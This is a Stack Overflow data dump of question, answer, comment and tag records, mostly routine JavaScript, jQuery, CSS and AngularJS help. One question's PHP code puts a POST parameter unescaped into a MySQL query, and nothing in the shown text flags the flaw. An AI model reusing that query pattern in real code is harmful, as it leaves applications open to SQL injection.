has text: @ciuuable here: http://jsfiddle.net/nq7sk6mq/5/
score: 1
comment on: http://stackoverflow.com/q/25660665
type: Comment

http://stackoverflow.com/a/25651206
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/40084061
upvote count: 2
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25651068
has body: the syntax of the for loop does precisely that only, it loops through the key values of that object so the syntax for(var key in obj) would give the keys of that object i.e. the properties. In order to access the object values you need to use obj[key] in this for loop. Another way to get the values of the array that you create would be: playerPool.forEach(function(player) { //Over here you get each player in the array });
has comment: http://stackoverflow.com/comment/40083984
type: Answer
answers question: http://stackoverflow.com/q/25651068

http://stackoverflow.com/q/25587820
has body: var non_tfl_lines_JubileetoIlford = L.geoJson(non_tfl_lines_JubileetoIlford, { pointToLayer: function(feature, latlng) { switch (feature.geometry.type) { case 'LineString': return new L.polyline(latlng, { color: feature.properties.color }); case 'Point': return new L.Circle(latlng, 400, { color: getColor(feature.properties.relief_JtI)}); } onEachFeature: popup } }).addTo(map); For some reason the colour of the polyline is the default colour and not the one specified. In same time it gives me the correct colours of the circles. Any idea what could be wrong?
upvote count: 1
answer count: 1
has title: Unable to identify colours on leaflet
favorite count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25594552
tagged with: leaflet
downvote count: 0
score: 1
tagged with: http://stackoverflow.com/tag/json
type: Question
tagged with: javascript

http://stackoverflow.com/comment/39941491
score: 3
has text: Your list has some invalid syntax in it - the "values" property is set to an array instance that contains a ":" separator in it.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25574185

http://stackoverflow.com/a/25568023
has comment: http://stackoverflow.com/comment/39932250
has body: Have you tried using a placeholder like this? Edit: Looking at the basecamp's login page for example it seems they avoided the placeholder and did it with CSS using a class of overLabel: Username or email body.login div.login_dialog span.overlay_wrapper label.overlabel { position: absolute; top: -2px; left: 6px; z-index: 1; color: #999 !important; font-size: 18px; } Placeholder works just as well IMO.
upvote count: 1
answers question: http://stackoverflow.com/q/25567938
type: Answer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/39932334

http://stackoverflow.com/comment/40107818
type: Comment
comment on: http://stackoverflow.com/a/25665306
score: 1
type: AnswerComment
has text: @AmalMurali why you downvote my answer? Your answer won't work if it contains `[` in the middle of the content. `NOTEThis is my [note.NOTE` OP wants the text between two `NOTE`'s

http://stackoverflow.com/comment/40125134
type: Comment
has text: Can you explain a litte what a single function on hover with .css() will do? And sorry, I missed an important information, see my edit. Thanks
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25675029

http://stackoverflow.com/comment/40100019
has text: please check my previous question asked here if it helps you. http://stackoverflow.com/questions/24729768/meteor-group-collection-by-field-and-their-sum/24730073?noredirect=1#comment38424845_24730073
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25561122
type: AnswerComment

http://stackoverflow.com/q/25699029
tagged with: css
has comment: http://stackoverflow.com/comment/40168999
tagged with: google-chrome
type: Question
has comment: http://stackoverflow.com/comment/40169077
has body: I'm trying to set height of the textarea with JS, by default so to speak, but let user resize it later. So I use this HTML/CSS/JS: &lt;textarea id="i3" cols="45" rows="5" style="line-height: 1.0;"&gt; &lt;/textarea&gt; var obj = document.getElementById("i3"); if(obj.scrollHeight &gt; obj.offsetHeight) { obj.style.height = obj.scrollHeight + 'px'; } The issue is that when the textarea is resized the user cannot resize it smaller than the height set by my JS. Is there any way to let user do it? PS. I need this for Google Chrome only (I'm writing a Chrome Extension.)
tagged with: javascript
has title: Can I set height of TEXTAREA element but let user resize it later?
has answer: http://stackoverflow.com/a/25699111
score: 0
answer count: 1
tagged with: jquery
has comment: http://stackoverflow.com/comment/40169040
linked to: http://stackoverflow.com/q/15146449
has comment: http://stackoverflow.com/comment/40168998
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40168972
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40168959

http://stackoverflow.com/comment/40051932
type: QuestionComment
comment on: http://stackoverflow.com/q/25632977
has text: Patrick, you are exactly right, thank you for your correction. I'd edit my question but it's my understanding that I'd need more positive influence to be able to edit?
type: Comment
score: 0

http://stackoverflow.com/a/25713745
answers question: http://stackoverflow.com/q/25711829
score: 8
has comment: http://stackoverflow.com/comment/40196586
has body: Use $timeout to let angular finish dirty checking then show the alert. app.controller("demoController",function($scope,$window, $timeout){ $scope.save = function(){ $timeout(function(){ window.alert("hi!"); }); }; }); Plunkr: http://plnkr.co/edit/Kxbey5Rc43xsB9v5ugZ5?p=preview
type: Answer
has comment: http://stackoverflow.com/comment/40196270
downvote count: 0
has comment: http://stackoverflow.com/comment/40196605
upvote count: 8
has comment: http://stackoverflow.com/comment/40196461
has comment: http://stackoverflow.com/comment/40212056

http://stackoverflow.com/q/25645322
answer count: 1
has title: Dynamically created Div's, children of outer Div, position wrong in Chrome, but correct in IE
tagged with: position
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has body: I have some javascript which dynamically creates DIV elements containing data from JSON. I append these DIVs to a parent 'outerDiv'. I want the OuterDiv to be a container that remains in the centre horizontally and butted against the top of window. The inner DIVs I want then arranged within the container in a specific way. I thought I had achieved what I wanted since it displays correctly in IE, but when I open it in Chrome, all the DIVs sit on top of one another within the outerDIV container. Here is my code... I have this CSS in Head at moment... Why does it look correct in IE but not in Chrome? I want it to look correct in all browsers, desktop and mobile. Any help appreciated :)
has answer: http://stackoverflow.com/a/25647380
tagged with: cross-browser
type: Question
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/40072319
tagged with: javascript
has comment: http://stackoverflow.com/comment/40072761
score: 0

http://stackoverflow.com/a/25689433
type: Answer
has body: Try absolute positioning: .menu { position: absolute; top: 0; bottom: 0; left: 0; width: 350px; background: #151515; }
answers question: http://stackoverflow.com/q/25689389
downvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/46302514
has comment: http://stackoverflow.com/comment/130481539
upvote count: 2

http://stackoverflow.com/comment/40075705
has text: just for future reference, curPage = parseInt(urlFrags[urlFrags.length-1]), that was the only error thanks so much!
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25615037
type: AnswerComment

http://stackoverflow.com/a/25680887
type: AcceptedAnswer
type: Answer
score: 2
downvote count: 0
has body: Use the bracket notation to access the property : if (prev.indexOf(curr[criteria]) === -1) {prev.push(curr[criteria])}
answers question: http://stackoverflow.com/q/25680872
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25680872

http://stackoverflow.com/a/25706673
has comment: http://stackoverflow.com/comment/40233820
answers question: http://stackoverflow.com/q/25706644
upvote count: 2
has comment: http://stackoverflow.com/comment/40222242
has body: function resizeMe(){ var windowsize = $(window).width(); if (windowsize &gt; 440) { $('body').css("background-color", "blue"); } else { $('body').css("background-color", "red"); } } $(window).ready(resizeMe) .resize(resizeMe); or, thanks to @Palpatim, this way: $(window).on("ready resize", resizeMe); and can simplify the function to ( thanks to @bfontaine ): function resizeMe(){ $('body').css("background-color", $(window).width() &gt; 440 ? "blue" : "red"); }
has comment: http://stackoverflow.com/comment/40233679
type: Answer
score: 2
downvote count: 0

http://stackoverflow.com/comment/40102336
has text: Clone the elements with `$('#dm').clone()`. You will need to change (or remove the id attribute on the copies as id must be unique on the page)
type: Comment
score: 4
type: QuestionComment
comment on: http://stackoverflow.com/q/25662645

http://stackoverflow.com/a/25557253
downvote count: 0
has body: First of all change &lt;div id='container'&gt; to &lt;div class='container'&gt; after that try using this. $('.container [id*=chicken]').each(function(index){ console.log($(this).attr('id')); });
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/25556691
type: Answer

http://stackoverflow.com/comment/40172711
type: Comment
comment on: http://stackoverflow.com/a/25700968
score: 1
type: AnswerComment
has text: this breaks though as soon as the user scrolls using the scrollbar or the middle mouse button: http://jsfiddle.net/L76nzcbz/ a better approach would be to keep track of the previous scroll position and check whether there are multiples of 200 between that and the current one: http://jsfiddle.net/L76nzcbz/1/

http://stackoverflow.com/q/25701299
type: AnsweredQuestion
has body: So I'm trying to create a message system. When I click on the Message to open my template opens in the same page the message content. I'm trying to make like: "See" Button->ajax->replace with jquery .text("Blah Blah"). the problem is that when I try tod HTML Code: New Jquery Ajax Form: $(document).ready(function(){ $('button[name=msg_preview_id]').click(function(event) { var formData = {'msg_preview_id' : $('button[name=msg_preview_id]').val()}; $.ajax({ type : 'POST', // define the type of HTTP verb we want to use (POST for our form) url : '../../class/messages/inbox_preview.php', // the url where we want to POST data : formData, // our data object dataType : 'json' // what type of data do we expect back from the server }) .done(function(data) { console.log(data); //Email Stuff $('h1[id=emailheading]').text(""+data.info.subject+""); $('a[id=emailfrom]').text(""+data.info.from+""); $('span[id=emaildate]').text(""+data.info.rcvdat+""); $('p[id=emailtext]').text(""+data.info.text+""); //Ceninhas $('#inbox-wrapper').addClass('animated fadeOut'); $('#inbox-wrapper').hide(); $('#preview-email-wrapper').addClass('animated fadeIn '); $('#preview-email-wrapper').show(); //$('.page-title').show(); //Load email details $('#inbox-wrapper').removeClass('animated fadeOut'); $('#inbox-wrapper').removeClass('animated fadeIn'); }); event.preventDefault(); }); }); PHP: <?php include ('../../inc/config.inc.php'); $data = array(); $info = array(); $Msg_Preview_ID = $_POST['msg_preview_id']; $MsgSQL = mysqli_query($Connection, "SELECT * FROM messages_inbox WHERE id='$Msg_Preview_ID'"); $Msg = mysqli_fetch_assoc($MsgSQL); $bzQuery = mysqli_query($Connection, "SELECT * FROM members_profile WHERE id='".$Msg['from']."'"); $bzFetch = mysqli_fetch_assoc($bzQuery); $info['from'] = $bzFetch['fname']." ".$bzFetch['lname']; $info['subject'] = $Msg['subject']; $info['text'] = $Msg['text']; $info['rcvdat'] = $Msg['rcvdat']; $data['info'] = $info; echo json_encode($data);
has comment: http://stackoverflow.com/comment/40173065
type: Question
has answer: http://stackoverflow.com/a/25789679
accepted answer: http://stackoverflow.com/a/25789679
has comment: http://stackoverflow.com/comment/40175050
tagged with: javascript
tagged with: jquery
has title: Ajax Form Submit - When click change html element text
tagged with: ajax
score: 0
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40173955
answer count: 1
has comment: http://stackoverflow.com/comment/40176425
tagged with: php
has comment: http://stackoverflow.com/comment/40182519

http://stackoverflow.com/comment/40234426
type: Comment
comment on: http://stackoverflow.com/a/25720929
score: 0
type: AnswerComment
has text: hmmm..when i try to do this with some 'real' data, i get an exception which prevents the series line from being toggled: [code]Uncaught TypeError: Cannot read property 'hasOwnProperty' of undefined dimple.v2.1.0.min.js:2(anonymous function) dimple.v2.1.0.min.js:2b._getOrderedList dimple.v2.1.0.min.js:2b._getSeriesOrder dimple.v2.1.0.min.js:2b.plot.line.draw dimple.v2.1.0.min.js:2(anonymous function) dimple.v2.1.0.min.js:1draw dimple.v2.1.0.min.js:1(anonymous function) 100:114(anonymous function)[/code]

http://stackoverflow.com/q/25667584
type: Question
tagged with: javascript
has title: javascript templating, generating chunks of html
score: -1
has comment: http://stackoverflow.com/comment/40111515
has comment: http://stackoverflow.com/comment/40111318
downvote count: 2
upvote count: 1
answer count: 1
has comment: http://stackoverflow.com/comment/40111598
favorite count: 0
has answer: http://stackoverflow.com/a/25668629
has comment: http://stackoverflow.com/comment/40112512
has comment: http://stackoverflow.com/comment/40112069
type: UnansweredQuestion
has body: Inside my javascript ajax function I'm generating chunks of html as follows: $.each(data.pages, function(k, v) { pageData += ' '; pageData += ' '; pageData += ' '+v.title+' '; pageData += ''+v.date+''; pageData += ' '; pageData += ' '; pageData += ' '; pageData += ' Location: Whitchurch '; pageData += ' Time: 18.00 - 22.00 '; pageData += ' Price: £31 for 10 weeks '; pageData += ' '; pageData += ' '; }); I've read a little about javascript templating but don't understand how I can use templating in this scenario? Are there better ways to generate chunks of html within javascript? Apologies this is not a problematic question with a correct answer I wasn't sure where else to ask.

http://stackoverflow.com/q/25677476
has comment: http://stackoverflow.com/comment/40129601
has answer: http://stackoverflow.com/a/25677590
type: UnansweredQuestion
has title: Problems in synchronous javascript
has comment: http://stackoverflow.com/comment/40129604
upvote count: 3
downvote count: 3
has answer: http://stackoverflow.com/a/25677571
has comment: http://stackoverflow.com/comment/40129620
has comment: http://stackoverflow.com/comment/40129401
has comment: http://stackoverflow.com/comment/40129628
has comment: http://stackoverflow.com/comment/40129375
has comment: http://stackoverflow.com/comment/40129463
type: Question
has comment: http://stackoverflow.com/comment/40129348
has comment: http://stackoverflow.com/comment/40129464
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40129418
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/25677551
has body: i am learning javascript and want to use synchronous javascript call in my code. For example i have two scripts, script1.js and script2.js. Here is script1.js: &lt;script&gt; var value1="Script 1"; alert(value1); //calling script2 url="script2.js" document.write("&lt;scr" + "ipt src=\"" + url + "\"&gt;&lt;/scr" + "ipt&gt;"); &lt;/script&gt; Here is script2.js &lt;script&gt; var value2="Script 2"; &lt;/script&gt; Now my question is can i print value from script2 like if i add this( alert(value2);) in my script1.js. &lt;script&gt; var value1="Script 1"; alert(value1); //calling script2 url="script2.js" document.write("&lt;scr" + "ipt src=\"" + url + "\"&gt;&lt;/scr" + "ipt&gt;"); alert(value2); &lt;/script&gt; I have done this using asychronous js as var scr = document.createElement('script'); scr.setAttribute('src', url); var head = document.getElementsByTagName("head")[0]; head.appendChild(scr); It is working but i want to achieve this synchronously any suggestions?? Thanks in advance
linked to: http://stackoverflow.com/q/12820953
has comment: http://stackoverflow.com/comment/40129471
has comment: http://stackoverflow.com/comment/40129855
favorite count: 0

http://stackoverflow.com/comment/39962736
has text: Yes. It (option #2) simply turns the .json file into a .js file. But why would you not simply go for option 1? If you're on the same server (that doesn't support JSONP), there is nothing against a simple, regular `get`.
type: Comment
comment on: http://stackoverflow.com/a/25583739
score: 0
type: AnswerComment

http://stackoverflow.com/q/25585419
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/39962282
has answer: http://stackoverflow.com/a/25585428
has body: I was reading through this SO question. I sort of understand what's going on, but I'm confused why !function foo() { console.log(true) ; }() doesn't return false. !function () {}() This will also return the boolean opposite of the return value of the function, in this case true, because !undefined is true. If you want the actual return value to be the result of the call, then try doing it this way: "will also return the boolean opposite" makes me think that false should be returned. Why isn't it. alert(!true); //false
tagged with: javascript
tagged with: iife
downvote count: 0
has title: Why does a ! before a function not return boolean opposite value?
favorite count: 0
accepted answer: http://stackoverflow.com/a/25585428
linked to: http://stackoverflow.com/q/3755606
possible better answer: http://stackoverflow.com/a/25585464
has answer: http://stackoverflow.com/a/25585464
upvote count: 1
has comment: http://stackoverflow.com/comment/39961925
has comment: http://stackoverflow.com/comment/39962145
type: AnsweredQuestion
score: 1

http://stackoverflow.com/a/25570667
has comment: http://stackoverflow.com/comment/39934951
has body: In a URL, after the question mark ? is the query string. This is where you specify parameters for the server. In this case since those brackets aren't encoded (as %7B0%7D), I suspect you're actually seeing this in the context of a template engine, and {0} is a random number. This is commonly used to avoid caching files, since with the random number you effectively have a new URL every time. I don't know what template engine you're using... several use this notation.
score: 5
upvote count: 5
answers question: http://stackoverflow.com/q/25570613
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25570613
has comment: http://stackoverflow.com/comment/39934744
type: Answer
has comment: http://stackoverflow.com/comment/39934917
has comment: http://stackoverflow.com/comment/39934566

http://stackoverflow.com/a/25601682
upvote count: 1
has body: The HTML code: your coordinates: The JavaScript code: var x = document.getElementById("geolocation"); if (navigator.geolocation) { navigator.geolocation.getCurrentPosition(showPosition); } else { x.innerHTML = "Geolocation is not supported by this browser."; } function showPosition(position) { x.innerHTML+=" Latitude: " + position.coords.latitude + " Longitude: " + position.coords.longitude; }
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25601530
type: Answer

http://stackoverflow.com/q/25668261
has comment: http://stackoverflow.com/comment/40112916
has answer: http://stackoverflow.com/a/25668458
has comment: http://stackoverflow.com/comment/40112566
type: Question
has answer: http://stackoverflow.com/a/25668392
has answer: http://stackoverflow.com/a/25668498
possible better answer: http://stackoverflow.com/a/25668458
tagged with: javascript
has title: Jquery: Can't fade in element
score: 0
has comment: http://stackoverflow.com/comment/40112673
has comment: http://stackoverflow.com/comment/40112607
tagged with: jquery
has answer: http://stackoverflow.com/a/25668521
has comment: http://stackoverflow.com/comment/40112945
accepted answer: http://stackoverflow.com/a/25668392
has comment: http://stackoverflow.com/comment/40112738
tagged with: fadein
has comment: http://stackoverflow.com/comment/40112670
tagged with: http://stackoverflow.com/tag/html
has body: I have have a span element that I want to let fade in from display none. Fading out works perfectly fine but Fading in just doesnt work, Here is the css of the span element: $(".button_5").hover(function () { $(".box5 span.info").fadeIn(); }); //The fade out just works fine: $(".button_5").hover(function () { $(".box5 span.info").fadeOut(); }); .box5 span.info:before{ content:"15 vacatures"; margin:0; padding:0 0 28px 0; display:0; }
tagged with: css
answer count: 4
type: AnsweredQuestion

http://stackoverflow.com/comment/39924862
type: QuestionComment
comment on: http://stackoverflow.com/q/25565314
has text: @Subho it seems that you need to use a webserver, Chrome doesn't allow request from local or `file://`resources. See http://stackoverflow.com/questions/4208530/xmlhttprequest-origin-null-is-not-allowed-access-control-allow-origin-for-file
type: Comment
score: 3

http://stackoverflow.com/comment/40009311
comment on: http://stackoverflow.com/q/25611072
score: 0
type: Comment
type: QuestionComment
has text: Please have a look on a source code of ng-show directive: https://github.com/angular/angular.js/blob/master/src/ng/directive/ngShowHide.js#L3. There are in fact 2 lines of code... I'm sure you can do the same thing in your directive, no need to reuse that one :)

http://stackoverflow.com/comment/40053688
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25635466
has text: Is it related to this post [this][1] [1]: http://stackoverflow.com/questions/18782324/angularjs-minify-best-practice

http://stackoverflow.com/comment/39918361
has text: if I go with the 1st option, will it be possible to get the value of this control (as the value can be changed by the user) using jquery? If yes, then how can I do that? AS of now, I am getting this value using jquery i.e. $("#txtJoiningDate").val() ; that is using an id for this control
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25561869

http://stackoverflow.com/a/25582325
has comment: http://stackoverflow.com/comment/39957506
type: Answer
has comment: http://stackoverflow.com/comment/39969341
answers question: http://stackoverflow.com/q/25581976
has comment: http://stackoverflow.com/comment/39959445
has comment: http://stackoverflow.com/comment/39958046
has body: looking at your server folder structure you need to access using the path ./client/App.js, instead of only App.js So your script tag will look like,
score: 0

http://stackoverflow.com/comment/40054814
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25636187
has text: I messed up when typing the question out. I did put the id on the div class panel-collapse
score: 0

ember.js
tags question: http://stackoverflow.com/q/25619370
tags question: http://stackoverflow.com/q/25606472
tags question: http://stackoverflow.com/q/25557917
tags question: http://stackoverflow.com/q/25710788
tags question: http://stackoverflow.com/q/25688328
tags question: http://stackoverflow.com/q/25622784
tags question: http://stackoverflow.com/q/25711570
tags question: http://stackoverflow.com/q/25566920
tags question: http://stackoverflow.com/q/25587076
tags question: http://stackoverflow.com/q/25628002
tags question: http://stackoverflow.com/q/25692961
type: Tag
tags question: http://stackoverflow.com/q/25666815
tags question: http://stackoverflow.com/q/25561228
tag name: ember.js
tags question: http://stackoverflow.com/q/25636146
tags question: http://stackoverflow.com/q/25570452
tags question: http://stackoverflow.com/q/25657300
tags question: http://stackoverflow.com/q/25551238
tags question: http://stackoverflow.com/q/25628022
tags question: http://stackoverflow.com/q/25662429
tags question: http://stackoverflow.com/q/25676425
tags question: http://stackoverflow.com/q/25632567
tags question: http://stackoverflow.com/q/25695402
tags question: http://stackoverflow.com/q/25671631
tags question: http://stackoverflow.com/q/25643108
tags question: http://stackoverflow.com/q/25692812
tags question: http://stackoverflow.com/q/25576491
tags question: http://stackoverflow.com/q/25617036
tags question: http://stackoverflow.com/q/25568800
tags question: http://stackoverflow.com/q/25642580
tags question: http://stackoverflow.com/q/25619660
tags question: http://stackoverflow.com/q/25555025
tags question: http://stackoverflow.com/q/25628395
tags question: http://stackoverflow.com/q/25606960
tags question: http://stackoverflow.com/q/25571282
tags question: http://stackoverflow.com/q/25569376
tags question: http://stackoverflow.com/q/25568408
tags question: http://stackoverflow.com/q/25558557
tags question: http://stackoverflow.com/q/25663003
tags question: http://stackoverflow.com/q/25661620

http://stackoverflow.com/a/25598271
type: Answer
has body: You need to use the attribute equals selector with swatch and then use .attr() to read the attribute value like var mode = $(xmlDoc).find('swatch[title="c4d5c5"]').attr('mode');
has comment: http://stackoverflow.com/comment/39985720
accepted answer of: http://stackoverflow.com/q/25598248
has comment: http://stackoverflow.com/comment/39985645
answers question: http://stackoverflow.com/q/25598248
has comment: http://stackoverflow.com/comment/39985704
has comment: http://stackoverflow.com/comment/39985794
has comment: http://stackoverflow.com/comment/39985752
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39985783
has comment: http://stackoverflow.com/comment/39985773

drupal
type: Tag
tag name: drupal
tags question: http://stackoverflow.com/q/25621006
tags question: http://stackoverflow.com/q/25606939
tags question: http://stackoverflow.com/q/25614922

http://stackoverflow.com/comment/40088751
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25654661
has text: @FelixKling hope my edit summary helps BTW what do you mean by no concept of "parent object" this is a generic term nothing related with javascript or any language .
score: 0

http://stackoverflow.com/q/25613343
has comment: http://stackoverflow.com/comment/40013256
has comment: http://stackoverflow.com/comment/40012968
downvote count: 0
answer count: 1
tagged with: javascript
tagged with: jquery
tagged with: meteor-helper
favorite count: 0
has answer: http://stackoverflow.com/a/25620372
has comment: http://stackoverflow.com/comment/40013106
tagged with: meteor
type: UnansweredQuestion
has title: Meteor return a new dom element form an helper
upvote count: 1
has comment: http://stackoverflow.com/comment/40013002
score: 1
has body: I have a javascript string with html code and I want to add it to the DOM. I'm now doing this: HTML file: {{bodyText}} JS file: Template.post.bodyText = function(){ var p = document.createElement("p") p.append(this.body) return p } But I keep getting a giant error on console. What am I doing wrong?
has comment: http://stackoverflow.com/comment/40013132
type: Question

http://stackoverflow.com/comment/39955669
has text: And the point is not to recover but rather output something afterwards. But I guess I can output beforehand and just wait till it fails!
comment on: http://stackoverflow.com/q/25581855
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/q/25632518
score: 1
type: Question
tagged with: http://stackoverflow.com/tag/json
tagged with: javascript
has body: Is there any way to export mongo collection into a json format with the node.js driver using fs.writeFile
has title: Export Mongo collection into json using node.js driver
tagged with: mongodb
has answer: http://stackoverflow.com/a/25646589
upvote count: 1
answer count: 1
tagged with: mongoose
favorite count: 0
type: UnansweredQuestion
tagged with: node.js
downvote count: 0

http://stackoverflow.com/a/25586865
score: 1
downvote count: 1
has body: Assign your object to a variable like this: var x = {"name":"caa-shadow-demo1","css":".caa-shadow-demo1 { box-shadow: 0px 0px 5px 2px rgb(152,152,152);}","html":" DEMO 1 "} Then simply use: x.name And: x.css To access the object values. Since it's already an object there is no need to use JSON.parse() If your object is in string form then you will need to parse it.
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/25586815

http://stackoverflow.com/a/25631232
answers question: http://stackoverflow.com/q/25631195
accepted answer of: http://stackoverflow.com/q/25631195
score: 0
type: AcceptedAnswer
has body: Use the CSS z-index property to specify the stack order of the results div. For example: z-index: 99;
type: Answer

http://stackoverflow.com/comment/40085890
score: 0
type: QuestionComment
has text: What exactly are you trying to achieve with this?
type: Comment
comment on: http://stackoverflow.com/q/25653259

http://stackoverflow.com/a/25556368
type: Answer
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/39910258
has comment: http://stackoverflow.com/comment/39907774
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25555986
has body: Hey you had a few errors in there: .value() should be val() to toggle the enable and disable, use a mod count and don't decrement the counter remove the duplicate click on the disable button you forgot to close a parenthesis $("#button") should have been $("#appendText") I updated your JSFiddle http://jsfiddle.net/hawaiianchimp/xdfq9hc3/2/
has comment: http://stackoverflow.com/comment/39910286
answers question: http://stackoverflow.com/q/25555986
type: AcceptedAnswer

http://stackoverflow.com/q/25558413
has answer: http://stackoverflow.com/a/25561792
tagged with: javascript
type: Question
tagged with: browser
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/25558478
tagged with: jquery
tagged with: ssh
tagged with: php
has title: Opening a new SSH Terminal through Browser
type: UnansweredQuestion
has body: I have SSH IP address. Is it possible to open a SSH terminal through browser? (Just like a hyperlink or a Google Play store Link?) For example: Click Here to Open SSH Terminal And this should open the SSH and the user will be asked to prompt username/password. Thanks, - R

http://stackoverflow.com/comment/39980205
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25594047
has text: 1. My solution is much less computationally intensive, as you only need to call `lookAt()` once. 2. You did not find THE solution, you found a different solution. 3. You could have used `rotateZ( angle )`.

http://stackoverflow.com/comment/40082014
has text: Thank you. I will save a copy of this script if I need to run it in parrallel thread.
comment on: http://stackoverflow.com/a/25651255
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/25698537
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25698142
upvote count: 2
type: Answer
score: 2
has body: Move the scroll functionality to the ListPost so you can have an array of views in your scope. Example: ListPost = Backbone.View.extend({ tagName: "div", className: "listpost", initialize: function(models, options){ this.listpost = options.listpost; // Add scroll event here ($.proxy makes sure the event can see this.element). $(document).scrool( $.proxy(this.scroll, this) ); this.render(); // Create an array to hold a reference to all Post views. this.element = []; }, render: function () { _.each(this.listpost, function (post) { // Create the post views and add them to the array. var postView = new Post({model: post}); this.element.push( postView ); $(this.el).append(postView.el); }, this); return this; }, scroll: function() { var find_out = false; // Make sure you use this with element. for(var i = 0; i&lt; this.element.length; i++) { if(find_out) break; // Post is now a Backbone view. var post = this.element[i]; // Make sure you use post.el to access the views DOM element. if(post.el.getBoundingClientRect) { var rect = post.el.getBoundingClientRect(); x = rect.bottom; y = rect.top; if(x &gt; 0) { if(x &gt; 480/3) { //result is post // how i can select this post to sub view Post find_out = true; // Do what you want with the backbone view. post.render(); console.log(post.model); } } } } } });
answers question: http://stackoverflow.com/q/25698142

angularjs-directive
tags question: http://stackoverflow.com/q/25618801
tag name: angularjs-directive
tags question: http://stackoverflow.com/q/25560014
tags question: http://stackoverflow.com/q/25607263
tags question: http://stackoverflow.com/q/25683564
tags question: http://stackoverflow.com/q/25685839
tags question: http://stackoverflow.com/q/25587704
tags question: http://stackoverflow.com/q/25641742
tags question: http://stackoverflow.com/q/25556926
tags question: http://stackoverflow.com/q/25552996
tags question: http://stackoverflow.com/q/25669727
tags question: http://stackoverflow.com/q/25679785
tags question: http://stackoverflow.com/q/25709749
tags question: http://stackoverflow.com/q/25682711
tags question: http://stackoverflow.com/q/25624581
tags question: http://stackoverflow.com/q/25556557
tags question: http://stackoverflow.com/q/25668231
tags question: http://stackoverflow.com/q/25676488
tags question: http://stackoverflow.com/q/25633139
tags question: http://stackoverflow.com/q/25613924
tags question: http://stackoverflow.com/q/25711877
tags question: http://stackoverflow.com/q/25666242
tags question: http://stackoverflow.com/q/25553167
tags question: http://stackoverflow.com/q/25616680
tags question: http://stackoverflow.com/q/25624811
tags question: http://stackoverflow.com/q/25650557
tags question: http://stackoverflow.com/q/25574636
tags question: http://stackoverflow.com/q/25575464
tags question: http://stackoverflow.com/q/25645379
tags question: http://stackoverflow.com/q/25557438
tags question: http://stackoverflow.com/q/25691026
tags question: http://stackoverflow.com/q/25642178
tags question: http://stackoverflow.com/q/25645229
type: Tag
tags question: http://stackoverflow.com/q/25666311
tags question: http://stackoverflow.com/q/25649489
tags question: http://stackoverflow.com/q/25599184
tags question: http://stackoverflow.com/q/25606365
tags question: http://stackoverflow.com/q/25666327
tags question: http://stackoverflow.com/q/25669993
tags question: http://stackoverflow.com/q/25694021
tags question: http://stackoverflow.com/q/25627683
tags question: http://stackoverflow.com/q/25611072
tags question: http://stackoverflow.com/q/25557535
tags question: http://stackoverflow.com/q/25669892
tags question: http://stackoverflow.com/q/25634602
tags question: http://stackoverflow.com/q/25641618
tags question: http://stackoverflow.com/q/25687865
tags question: http://stackoverflow.com/q/25687646
tags question: http://stackoverflow.com/q/25696074
tags question: http://stackoverflow.com/q/25593339

http://stackoverflow.com/a/25640225
score: 5
has comment: http://stackoverflow.com/comment/40063543
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40061836
accepted answer of: http://stackoverflow.com/q/25639865
answers question: http://stackoverflow.com/q/25639865
type: Answer
has body: $('html, body').bind('DOMMouseScroll mousewheel MozMousePixelScroll', function(e) { var scrollTo = 0; if (e.type == 'mousewheel') { scrollTo = (e.originalEvent.wheelDelta * -1); } else if (e.type == 'DOMMouseScroll') { // scrollTo = 20 * e.originalEvent.detail; // turns out, this sometimes works better as expected... scrollTo = e.originalEvent.detail; } if (scrollTo &gt; 0) { e.preventDefault(); return false; } }); Here you have a working fiddle
has comment: http://stackoverflow.com/comment/40063414
has comment: http://stackoverflow.com/comment/40062891
upvote count: 5

http://stackoverflow.com/comment/40123111
score: 0
type: Comment
has text: added some (probably buggy) code. Please test it out properly before use
comment on: http://stackoverflow.com/a/25673793
type: AnswerComment

http://stackoverflow.com/q/25550907
accepted answer: http://stackoverflow.com/a/25558369
type: Question
upvote count: 2
answer count: 1
has title: jQuery: how to trigger only current menu and remove style attribute if its value display : none?
has answer: http://stackoverflow.com/a/25558369
